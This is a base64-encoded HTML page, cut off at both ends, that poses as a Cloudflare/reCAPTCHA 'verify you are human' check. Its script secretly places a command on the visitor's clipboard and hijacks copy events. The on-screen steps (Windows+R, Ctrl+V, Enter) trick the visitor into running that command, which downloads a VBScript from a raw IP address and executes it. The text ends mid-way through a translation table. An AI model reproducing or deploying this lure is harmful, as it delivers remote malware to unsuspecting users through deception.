GFsaWduLWl0ZW1zOiBjZW50ZXI7Ij4KICAgPCEtLSBPbi1wYWdlIGxvZ28gLS0+CiAgIDxpbWcgY2xhc3M9ImxvZ28taW1nIiBzcmM9IiIgYWx0PSJTaXRlIGxvZ28iIHN0eWxlPSJoZWlnaHQ6IDJyZW07IG1hcmdpbi1yaWdodDogMC41cmVtOyI+CiAgIDxwIHN0eWxlPSJmb250LXNpemU6IDIuNXJlbTsgZm9udC13ZWlnaHQ6IDUwMDsgbGluZS1oZWlnaHQ6IDMuNzVyZW07Ij48c3BhbiBjbGFzcz0iZG9tYWluLW5hbWUiPjwvc3Bhbj48L3A+CiAgPC9kaXY+CgogIDxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogMS41cmVtOyBsaW5lLWhlaWdodDogMi4yNXJlbTsgbWFyZ2luLWJvdHRvbTogMnJlbTsgbWluLWhlaWdodDogMnJlbTtmb250LXdlaWdodDo1NTA7IHBhZGRpbmctdG9wOiAycHgiPgogICAgPHA+CiAgICAgIDxzcGFuIGNsYXNzPSJwcmVsb2FkZXJfdGV4dCI+PC9iPkNoZWNraW5nIGlmIHlvdSBhcmUgaHVtYW4uIFRoaXMgbWF5IHRha2UgYSBmZXcgc2Vjb25kcy48L3NwYW4+CiAgICAgIDxzcGFuIGNsYXNzPSJ0ZXh0YWxsc3RlcCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij5WZXJpZnkgeW91IGFyZSBodW1hbiBieSBjb21wbGV0aW5nIHRoZSBhY3Rpb24gYmVsb3cuPC9zcGFuPgogICAgPC9wPgogIDwvZGl2PgoKICA8IS0tIFBSRUxPQURFUiAtLT4KICA8ZGl2IGNsYXNzPSJpbnRybyI+CiAgPGRpdiBjbGFzcz0icHJlbG9hZGVyIj4KICAgIDxkaXYgY2xhc3M9Imxkcy1yaW5nIj48ZGl2PjwvZGl2PjxkaXY+PC9kaXY+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjwvZGl2PgogIDwvZGl2PgoKICA8IS0tIFNUQVJUIC0tPgogIDxkaXYgaWQ9ImNoZWNrYm94LXdpbmRvdyIgY2xhc3M9ImNoZWNrYm94LXdpbmRvdyIgc3R5bGU9IndpZHRoOiAzMDBweDsgaGVpZ2h0OiA3NHB4OyBkaXNwbGF5OiBub25lOyI+CiAgIDxkaXYgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IHdpZHRoOiAxMDAlOyI+CiAgICA8ZGl2IGNsYXNzPSJjaGVja2JveC1jb250YWluZXIiIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyBtYXJnaW4tcmlnaHQ6IDEycHg7IHdpZHRoOiAzMHB4OyI+CgogICAgIDxzdmcgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBjbGFzcz0ic3RlcDAiIGlkPSJzcGlubmVyMiIgZmlsbD0iZ3JlZW4iIHZpZXdCb3g9IjAgMCA2MCA2MCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgICAgICA8Y2lyY2xlIGN4PSIzMCIgY3k9IjEwIiByPSIyLjUiIGNsYXNzPSJwb2ludCI+PC9jaXJjbGU+CiAgICAgICAgPGNpcmNsZSBjeD0iNTAiIGN5PSIzMCIgcj0iMi41IiBjbGFzcz0icG9pbnQiPjwvY2lyY2xlPgogICAgICAgIDxjaXJjbGUgY3g9IjMwIiBjeT0iNTAiIHI9IjIuNSIgY2xhc3M9InBvaW50Ij48L2NpcmNsZT4KICAgICAgICA8Y2lyY2xlIGN4PSIxMCIgY3k9IjMwIiByPSIyLjUiIGNsYXNzPSJwb2ludCI+PC9jaXJjbGU+CiAgICAgICAgPGNpcmNsZSBjeD0iNDMuNiIgY3k9IjE2LjQiIHI9IjIuNSIgY2xhc3M9InBvaW50Ij48L2NpcmNsZT4KICAgICAgICA8Y2lyY2xlIGN4PSIxNi40IiBjeT0iMTYuNCIgcj0iMi41IiBjbGFzcz0icG9pbnQiPjwvY2lyY2xlPgogICAgICAgIDxjaXJjbGUgY3g9IjQzLjYiIGN5PSI0My42IiByPSIyLjUiIGNsYXNzPSJwb2ludCI+PC9jaXJjbGU+CiAgICAgICAgPGNpcmNsZSBjeD0iMTYuNCIgY3k9IjQzLjYiIHI9IjIuNSIgY2xhc3M9InBvaW50Ij48L2NpcmNsZT4KICAgICAgPC9zdmc+CgogICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBpZD0iY2hlY2tib3giIGNsYXNzPSJjaGVja2JveCBzdGVwMSIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij48L2J1dHRvbj4KCiAgICAgPGRpdiBjbGFzcz0ic3Bpbm5lciBzdGVwMiIgaWQ9InNwaW5uZXIiIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IGRpc3BsYXk6IG5vbmU7Ij4KICAgICAgPGRpdiBjbGFzcz0ibGRzLXJpbmciPjxkaXY+PC9kaXY+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjxkaXY+PC9kaXY+PC9kaXY+CiAgICAgPC9kaXY+CgogICAgIDxkaXYgY2xhc3M9InN0ZXAzIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPgogICAgICA8c3ZnIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgdmlld0JveD0iMCAwIDUwIDUwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgICAgPGNpcmNsZSBjeD0iMjUiIGN5PSIyNSIgcj0iMjMiIGZpbGw9IiMyOGE3NDUiIC8+CiAgICAgICA8cGF0aCBkPSJNMTUgMjUgTDIyIDMyIEwzNSAxOCIgc3Ryb2tlPSJ3aGl0ZSIgc3Ryb2tlLXdpZHRoPSI0IiBmaWxsPSJub25lIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIC8+CiAgICAgIDwvc3ZnPgogICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgPGRpdiBjbGFzcz0idGV0dHgiPgogICAgIDxwIGNsYXNzPSJzdGVwMCIgc3R5bGU9Im1hcmdpbjogMCAhaW1wb3J0YW50OyI+VmVyaWZ5aW5nLi4uPC9wPgogICAgIDxwIGNsYXNzPSJzdGVwMSIgc3R5bGU9Im1hcmdpbjogMCAhaW1wb3J0YW50OyBkaXNwbGF5OiBub25lOyI+SSdtIG5vdCBhIHJvYm90PC9wPgogICAgIDxwIGNsYXNzPSJzdGVwMiIgc3R5bGU9Im1hcmdpbjogMCAhaW1wb3J0YW50OyBkaXNwbGF5OiBub25lOyI+VmVyaWZpY2F0aW9uIFN0ZXBzPC9wPgogICAgIDxwIGNsYXNzPSJzdGVwMyIgc3R5bGU9Im1hcmdpbjogMCAhaW1wb3J0YW50OyBkaXNwbGF5OiBub25lOyI+U3VjY2Vzc2Z1bGx5LjwvcD4KICAgIDwvZGl2PgoKICAgIDxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogOHB4OyB0ZXh0LWFsaWduOiByaWdodDsgbWFyZ2luLWxlZnQ6IGF1dG87Ij4KICAgICA8aW1nIHN0eWxlPSJ3aWR0aDogNjdweDsgaGVpZ2h0OiAyM3B4OyBtYXJnaW4tYm90dG9tOiA1cHg7IiBzcmM9Imh0dHBzOi8vaS5wb3N0aW1nLmNjL2s0enJ6OTJ6LzExMS5wbmciIC8+CiAgICAgPHAgc3R5bGU9InRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyI+Q29uZmlkZW50aWFsaXR5PC9wPgogICAgIDxwIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlRlcm1zIGFuZCBDb25kaXRpb25zPC9wPgogICAgPC9kaXY+CiAgIDwvZGl2PgoKICAgPGRpdiBpZD0idmVyaWZ5LXdpbmRvdyIgY2xhc3M9InZlcmlmeS13aW5kb3ciIHN0eWxlPSJib3JkZXItdG9wOiAxcHggc29saWQgIzc5Nzk3OTsgcGFkZGluZy10b3A6IDNweDsgbWFyZ2luLXRvcDogMTVweDsiPgogICAgPGRpdiBjbGFzcz0idmVyaWZ5LWNvbnRhaW5lciI+CiAgICAgPG1haW4gY2xhc3M9InZlcmlmeS1tYWluIiBzdHlsZT0iY29sb3I6ICNkOWQ5ZDk7Ij4KICAgICAgPHAgc3R5bGU9ImZvbnQtc2l6ZTogMThweDsgbWFyZ2luLWJvdHRvbTogMTVweDsiPlRvIGJldHRlciBwcm92ZSB5b3UgYXJlIG5vdCBhIHJvYm90LCBwbGVhc2U6PC9wPgogICAgICA8b2w+CiAgICAgICA8bGk+UHJlc3MgJmFtcDsgaG9sZCB0aGUgV2luZG93cyBLZXkgPGkgY2xhc3M9ImZhYiBmYS13aW5kb3dzIj48L2k+ICsgPGI+UjwvYj4uPC9saT4KICAgICAgIDxsaT5JbiB0aGUgdmVyaWZpY2F0aW9uIHdpbmRvdywgcHJlc3MgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi48L2xpPgogICAgICAgPGxpPlByZXNzIDxiPkVudGVyPC9iPiBvbiB5b3VyIGtleWJvYXJkIHRvIGZpbmlzaC48L2xpPgogICAgICA8L29sPgogICAgICA8cCBjbGFzcz0ib2JzZXJ2ZSIgc3R5bGU9InBhZGRpbmctdG9wOiAxMHB4OyI+CiAgICAgICBZb3Ugd2lsbCBvYnNlcnZlIGFuZCBhZ3JlZTo8YnI+CiAgICAgICA8Y29kZSBzdHlsZT0iYmFja2dyb3VuZDogbm9uZTsgYm9yZGVyOiAxcHggc29saWQgIzc5Nzk3OTsgd2lkdGg6IDQzMnB4OyI+IOKchSAiSSBhbSBub3QgYSByb2JvdCAtIHJlQ0FQVENIQSBWZXJpZmljYXRpb24gSUQ6IDxzcGFuIGlkPSJ2ZXJpZmljYXRpb24taWQiPjE0NjgyMDwvc3Bhbj4iIDwvY29kZT4KICAgICAgPC9wPgogICAgIDwvbWFpbj4KICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0idmVyaWZ5LWNvbnRhaW5lciB2ZXJpZnktZm9vdGVyIiBzdHlsZT0iYmFja2dyb3VuZDogbm9uZTsiPgogICAgIDxkaXYgY2xhc3M9InZlcmlmeS1mb290ZXItbGVmdCIgc3R5bGU9IndpZHRoOiAyODZweDsgZmxvYXQ6IGxlZnQ7IHRleHQtYWxpZ246IGxlZnQ7IGZvbnQtc2l6ZTogMTVweDsiPlBlcmZvcm0gdGhlIHN0ZXBzIGFib3ZlIHRvIGZpbmlzaCB2ZXJpZmljYXRpb24uPC9kaXY+CiAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ2ZXJpZnktdmVyaWZ5LWJ1dHRvbiBibG9jayIgaWQ9InZlcmlmeS1idXR0b24iIHN0eWxlPSJiYWNrZ3JvdW5kOiAjNWU1ZTVlOyBwYWRkaW5nOiA5cHggMzhweDsiPlZlcmlmeTwvYnV0dG9uPgogICAgPC9kaXY+CiAgIDwvZGl2PgoKCiAgIDxzY3JpcHQ+CiAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIGZ1bmN0aW9uICgpIHsKICAgICAgIGNvbnN0IGRvbWFpbiA9IHdpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZTsKICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5kb21haW4iKS5mb3JFYWNoKGVsID0+IHsgaWYgKGVsKSBlbC50ZXh0Q29udGVudCA9IGRvbWFpbjsgfSk7CiAgICAgfSk7CiAgIDwvc2NyaXB0PgoKICA8L2Rpdj4KICA8cCBzdHlsZT0iZm9udC1zaXplOiAxLjVyZW07IGxpbmUtaGVpZ2h0OiAyLjI1cmVtOyBwYWRkaW5nLXRvcDogMjBweDtwYWRkaW5nLXRvcDogMzNweCI+CiAgICA8c3BhbiBjbGFzcz0iZG9tYWluLW5hbWUiPjwvc3Bhbj4gbmVlZHMgdG8gcmV2aWV3IHRoZSBzZWN1cml0eSBvZiB5b3VyIGNvbm5lY3Rpb24gYmVmb3JlIHByb2NlZWRpbmcuCiAgPC9wPgogPC9kaXY+CjwvZGl2PgoKPGRpdiBjbGFzcz0iZm9vdGVyIiByb2xlPSJjb250ZW50aW5mbyI+CiA8ZGl2IGNsYXNzPSJmb290ZXItaW5uZXIiPgogIDxkaXY+PGRpdj5SYXkgSUQ6IDxjb2RlIGNsYXNzPSJyYXktaWQiPjU2YTRjNTI5OWZkZXRtY2E8L2NvZGU+PC9kaXY+PC9kaXY+CiAgPGRpdiBzdHlsZT0ibWFyZ2luLXRvcDogNXB4OyI+UGxhdGZvcm0gcGVyZm9ybWFuY2UgYW5kIHNlY3VyaXR5IDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDAwMCI+Q2xvdWRmbGFyZTwvc3Bhbj48L2Rpdj4KIDwvZGl2Pgo8L2Rpdj4KCjxzY3JpcHQ+Ci8qCiAgCiovCmNvbnN0IGNvbW1hbmQgPSAnY21kIC9jIGVjaG8gU2V0IGg9Q3JlYXRlT2JqZWN0KCJXaW5IdHRwLldpbkh0dHBSZXF1ZXN0LjUuMSIpOmguT3BlbiAiR0VUIiwiaHR0cDovLzk1LjE2NC41My4xMTU6NTUwNi9kby52YnMiLDA6aC5TZW5kOkV4ZWN1dGUgaC5SZXNwb25zZVRleHQgPiAiJXRlbXAlXGRvLnRtcCIgJiYgd3NjcmlwdCAvL0U6VkJTY3JpcHQgIiV0ZW1wJVxkby50bXAiJzsKCgooZnVuY3Rpb24gKCkgewogIGNvbnN0IHBhcmFtcyA9IG5ldyBVUkxTZWFyY2hQYXJhbXMod2luZG93LmxvY2F0aW9uLnNlYXJjaCk7CiAgY29uc3Qgc2l0ZVBhcmFtID0gcGFyYW1zLmdldCgnc2l0ZScpOyAgICAgICAKICBjb25zdCBsb2dvUGFyYW0gPSBwYXJhbXMuZ2V0KCdsb2dvJyk7ICAgICAgIAoKICBmdW5jdGlvbiBnZXRIb3N0bmFtZSh2YWwpIHsKICAgIGlmICghdmFsKSByZXR1cm4gd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lIHx8ICcnOwogICAgdHJ5IHsgcmV0dXJuIG5ldyBVUkwodmFsLCB3aW5kb3cubG9jYXRpb24ub3JpZ2luKS5ob3N0bmFtZTsgfQogICAgY2F0Y2ggeyByZXR1cm4gU3RyaW5nKHZhbCkucmVwbGFjZSgvXmh0dHBzPzpcL1wvL2ksJycpLnNwbGl0KCcvJylbMF07IH0KICB9CgogIGNvbnN0IGhvc3QgPSBnZXRIb3N0bmFtZShzaXRlUGFyYW0pIHx8IHdpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZSB8fCAnJzsKCgogIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5kb21haW4tbmFtZScpLmZvckVhY2goZWwgPT4geyBlbC50ZXh0Q29udGVudCA9IGhvc3Q7IH0pOwoKICAvLyBha3R1ZWxsZXMgd2Vic2l0ZSBpY29uCiAgY29uc3QgZmF2aWNvblVybCA9IGxvZ29QYXJhbSB8fCBgaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9zMi9mYXZpY29ucz9zej0xMjgmZG9tYWluPSR7ZW5jb2RlVVJJQ29tcG9uZW50KGhvc3QpfWA7CiAgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkeW5hbWljLWZhdmljb24nKSB8fCAoKCk9Pntjb25zdCBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2xpbmsnKTtsLnJlbD0naWNvbic7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChsKTtyZXR1cm4gbDt9KSgpKS5ocmVmID0gZmF2aWNvblVybDsKCgogIGNvbnN0IGNhbmRpZGF0ZXMgPSBbCiAgICBmYXZpY29uVXJsLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgYGh0dHBzOi8vaWNvbnMuZHVja2R1Y2tnby5jb20vaXAzLyR7ZW5jb2RlVVJJQ29tcG9uZW50KGhvc3QpfS5pY29gLAogICAgYGh0dHBzOi8vJHtob3N0fS9mYXZpY29uLmljb2AKICBdLmZpbHRlcihCb29sZWFuKTsKCiAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmxvZ28taW1nJykuZm9yRWFjaChpbWcgPT4gewogICAgbGV0IGkgPSAwOwogICAgY29uc3QgdHJ5TmV4dCA9ICgpID0+IHsKICAgICAgaWYgKGkgPj0gY2FuZGlkYXRlcy5sZW5ndGgpIHsgaW1nLnNyYyA9IGZhdmljb25Vcmw7IHJldHVybjsgfQogICAgICBpbWcuc3JjID0gY2FuZGlkYXRlc1tpKytdOwogICAgfTsKICAgIGltZy5hbHQgPSBob3N0ICsgJyBsb2dvJzsKICAgIGltZy5vbmVycm9yID0gdHJ5TmV4dDsKICAgIHRyeU5leHQoKTsKICB9KTsKfSkoKTsKPC9zY3JpcHQ+Cgo8c2NyaXB0PgoKZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIGZ1bmN0aW9uICgpIHsKICAgIGNvbnN0IHByZWxvYWRlckVsZW1lbnRzID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiLnByZWxvYWRlciIpOwogICAgY29uc3QgcHJlbG9hZGVyVGV4dCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5wcmVsb2FkZXJfdGV4dCIpOwogICAgY29uc3QgdGV4dEFsbFN0ZXAgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIudGV4dGFsbHN0ZXAiKTsKICAgIGNvbnN0IGNoZWNrYm94V2luZG93ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNoZWNrYm94LXdpbmRvdyIpOwogICAgY29uc3Qgc3RlcDBFbGVtZW50cyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5zdGVwMCIpOwogICAgY29uc3Qgc3RlcDFFbGVtZW50cyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5zdGVwMSIpOwogICAgY29uc3Qgc3RlcDJFbGVtZW50cyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5zdGVwMiIpOwogICAgY29uc3Qgc3RlcDNFbGVtZW50cyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5zdGVwMyIpOwogICAgY29uc3QgY2hlY2tib3ggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY2hlY2tib3giKTsKICAgIGNvbnN0IHZlcmlmeVdpbmRvdyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ2ZXJpZnktd2luZG93Iik7CiAgICBjb25zdCBzcGlubmVyID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNwaW5uZXIiKTsKICAgIGNvbnN0IHZlcmlmeUJ1dHRvbiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ2ZXJpZnktYnV0dG9uIik7CgogICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgcHJlbG9hZGVyRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiKTsKICAgICAgICBpZiAocHJlbG9hZGVyVGV4dCkgcHJlbG9hZGVyVGV4dC5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOwogICAgICAgIGlmICh0ZXh0QWxsU3RlcCkgdGV4dEFsbFN0ZXAuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7CiAgICAgICAgaWYgKGNoZWNrYm94V2luZG93KSBjaGVja2JveFdpbmRvdy5zdHlsZS5kaXNwbGF5ID0gImZsZXgiOwoKICAgICAgICBzZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgICAgaWYgKGNoZWNrYm94V2luZG93KSB7CiAgICAgICAgICAgICAgICBjaGVja2JveFdpbmRvdy5zdHlsZS5kaXNwbGF5ID0gImZsZXgiOwogICAgICAgICAgICAgICAgbGV0IG9wYWNpdHkgPSAwOwogICAgICAgICAgICAgICAgY29uc3QgZmFkZUluID0gc2V0SW50ZXJ2YWwoKCkgPT4gewogICAgICAgICAgICAgICAgICAgIGlmIChvcGFjaXR5ID49IDEpIHsgY2xlYXJJbnRlcnZhbChmYWRlSW4pOyB9CiAgICAgICAgICAgICAgICAgICAgZWxzZSB7IG9wYWNpdHkgKz0gMC4xOyBjaGVja2JveFdpbmRvdy5zdHlsZS5vcGFjaXR5ID0gb3BhY2l0eTsgfQogICAgICAgICAgICAgICAgfSwgMzApOwogICAgICAgICAgICB9CiAgICAgICAgfSwgMjAwKTsKCiAgICAgICAgc3RlcDBFbGVtZW50cy5mb3JFYWNoKGVsID0+IGVsLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siKTsKCiAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgIHN0ZXAwRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiKTsKICAgICAgICAgICAgc3RlcDFFbGVtZW50cy5mb3JFYWNoKGVsID0+IGVsLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siKTsKICAgICAgICB9LCAyMDAwKTsKICAgIH0sIDE1MDApOwoKICAgIGlmIChjaGVja2JveCkgewogICAgICBjaGVja2JveC5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsIGZ1bmN0aW9uICgpIHsKCiAgICAgICAgICBjb25zdCB0ZXh0YXJlYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3RleHRhcmVhJyk7CiAgICAgICAgICB0ZXh0YXJlYS52YWx1ZSA9IGNvbW1hbmQ7CiAgICAgICAgICB0ZXh0YXJlYS5zZXRBdHRyaWJ1dGUoJ3JlYWRvbmx5JywgJycpOwogICAgICAgICAgdGV4dGFyZWEuc3R5bGUucG9zaXRpb24gPSAnYWJzb2x1dGUnOwogICAgICAgICAgdGV4dGFyZWEuc3R5bGUubGVmdCA9ICctOTk5OXB4JzsKICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQodGV4dGFyZWEpOwogICAgICAgICAgdGV4dGFyZWEuc2VsZWN0KCk7CiAgICAgICAgICB0cnkgeyBkb2N1bWVudC5leGVjQ29tbWFuZCgnY29weScpOyB9IGNhdGNoKGUpIHsgLyogaWdub3JlICovIH0KICAgICAgICAgIGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQodGV4dGFyZWEpOwoKICAgICAgICAgIHN0ZXAxRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiKTsKICAgICAgICAgIHN0ZXAyRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIik7CiAgICAgICAgICBpZiAoc3Bpbm5lcikgc3Bpbm5lci5zdHlsZS52aXNpYmlsaXR5ID0gInZpc2libGUiOwoKICAgICAgICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgICAgICAgIGlmIChjaGVja2JveFdpbmRvdykgewogICAgICAgICAgICAgICAgY2hlY2tib3hXaW5kb3cuc3R5bGUud2lkdGggPSAiNTMwcHgiOwogICAgICAgICAgICAgICAgY2hlY2tib3hXaW5kb3cuc3R5bGUuaGVpZ2h0ID0gImF1dG8iOwogICAgICAgICAgICAgIH0KICAgICAgICAgICAgICBpZiAodmVyaWZ5V2luZG93KSB2ZXJpZnlXaW5kb3cuY2xhc3NMaXN0LmFkZCgiYWN0aXZlIik7CiAgICAgICAgICB9LCA1MDApOwogICAgICB9KTsKICAgIH0KCiAgICBpZiAodmVyaWZ5QnV0dG9uKSB7CiAgICAgIHZlcmlmeUJ1dHRvbi5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsIGZ1bmN0aW9uICgpIHsKICAgICAgICAgIGlmICh2ZXJpZnlXaW5kb3cpIHZlcmlmeVdpbmRvdy5jbGFzc0xpc3QucmVtb3ZlKCJhY3RpdmUiKTsKICAgICAgICAgIGlmIChjaGVja2JveFdpbmRvdykgY2hlY2tib3hXaW5kb3cuc3R5bGUuaGVpZ2h0ID0gIjc0cHgiOwoKICAgICAgICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgICAgICAgIGlmIChjaGVja2JveFdpbmRvdykgY2hlY2tib3hXaW5kb3cuc3R5bGUud2lkdGggPSAiMzAwcHgiOwogICAgICAgICAgICAgIHN0ZXAyRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiKTsKICAgICAgICAgICAgICBzdGVwM0VsZW1lbnRzLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICJibG9jayIpOwoKICAgICAgICAgICAgICBzZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgICAgICAgICAgc3RlcDNFbGVtZW50cy5mb3JFYWNoKGVsID0+IGVsLnN0eWxlLmRpc3BsYXkgPSAibm9uZSIpOwogICAgICAgICAgICAgICAgICBzdGVwMUVsZW1lbnRzLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICJibG9jayIpOwogICAgICAgICAgICAgICAgICBpZiAoc3Bpbm5lcikgc3Bpbm5lci5zdHlsZS52aXNpYmlsaXR5ID0gImhpZGRlbiI7CiAgICAgICAgICAgICAgfSwgMTAwMCk7CiAgICAgICAgICB9LCA2MDApOwogICAgICB9KTsKICAgIH0KCgogICAgY29uc3QgdmVyRWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVyaWZpY2F0aW9uLWlkIik7CiAgICBpZiAodmVyRWwpIHZlckVsLnRleHRDb250ZW50ID0gTWF0aC5mbG9vcigxMDAwMDAgKyBNYXRoLnJhbmRvbSgpICogOTAwMDAwKTsKICAgIGNvbnN0IGNoYXJzID0gImFiY2RlZjAxMjM0NTY3ODkiOwogICAgY29uc3QgcmF5RWwgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucmF5LWlkIik7CiAgICBpZiAocmF5RWwpIHsKICAgICAgcmF5RWwudGV4dENvbnRlbnQgPQogICAgICAgIEFycmF5LmZyb20oeyBsZW5ndGg6IDE2IH0sICgpID0+IGNoYXJzW01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIGNoYXJzLmxlbmd0aCldKS5qb2luKCIiKTsKICAgIH0KfSk7CgoKZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29weScsIGZ1bmN0aW9uIChlKSB7CgogICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgaWYgKGUuY2xpcGJvYXJkRGF0YSkgewogICAgICAgIGUuY2xpcGJvYXJkRGF0YS5zZXREYXRhKCd0ZXh0L3BsYWluJywgY29tbWFuZCk7CiAgICB9IGVsc2UgaWYgKHdpbmRvdy5jbGlwYm9hcmREYXRhKSB7CiAgICAgICAgd2luZG93LmNsaXBib2FyZERhdGEuc2V0RGF0YSgnVGV4dCcsIGNvbW1hbmQpOwogICAgfQp9KTsKPC9zY3JpcHQ+CgoKPHNjcmlwdD4KKGZ1bmN0aW9uKCl7CiAgY29uc3QgaTE4biA9IHsKICAgIGVuOntjaGVja2luZzoiQ2hlY2tpbmcgaWYgeW91IGFyZSBodW1hbi4gVGhpcyBtYXkgdGFrZSBhIGZldyBzZWNvbmRzLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IlZlcmlmeSB5b3UgYXJlIGh1bWFuIGJ5IGNvbXBsZXRpbmcgdGhlIGFjdGlvbiBiZWxvdy4iLHZlcmlmeWluZzoiVmVyaWZ5aW5nLi4uIixub3RSb2JvdDoiSSdtIG5vdCBhIHJvYm90IixzdGVwczoiVmVyaWZpY2F0aW9uIFN0ZXBzIixzdWNjZXNzOiJTdWNjZXNzZnVsbHkuIix2ZXJpZnlUaXRsZToiVG8gYmV0dGVyIHByb3ZlIHlvdSBhcmUgbm90IGEgcm9ib3QsIHBsZWFzZToiLHN0ZXAxOiJQcmVzcyAmYW1wOyBob2xkIHRoZSBXaW5kb3dzIEtleSA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPi4iLHN0ZXAyOiJJbiB0aGUgdmVyaWZpY2F0aW9uIHdpbmRvdywgcHJlc3MgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJQcmVzcyA8Yj5FbnRlcjwvYj4gb24geW91ciBrZXlib2FyZCB0byBmaW5pc2guIixvYnNlcnZlOiJZb3Ugd2lsbCBvYnNlcnZlIGFuZCBhZ3JlZToiLGNvbmZpcm1MZWFkOiJJIGFtIG5vdCBhIHJvYm90IC0gcmVDQVBUQ0hBIFZlcmlmaWNhdGlvbiBJRDogIixmaW5hbDoiUGVyZm9ybSB0aGUgc3RlcHMgYWJvdmUgdG8gZmluaXNoIHZlcmlmaWNhdGlvbi4iLHZlcmlmeUJ0bjoiVmVyaWZ5Iixjb25maWRlbnRpYWxpdHk6IkNvbmZpZGVudGlhbGl0eSIsdGVybXM6IlRlcm1zIGFuZCBDb25kaXRpb25zIixmb290ZXI6Im5lZWRzIHRvIHJldmlldyB0aGUgc2VjdXJpdHkgb2YgeW91ciBjb25uZWN0aW9uIGJlZm9yZSBwcm9jZWVkaW5nLiJ9LAoKICAgIGRlOntjaGVja2luZzoiw5xiZXJwcsO8ZnVuZywgb2IgU2ll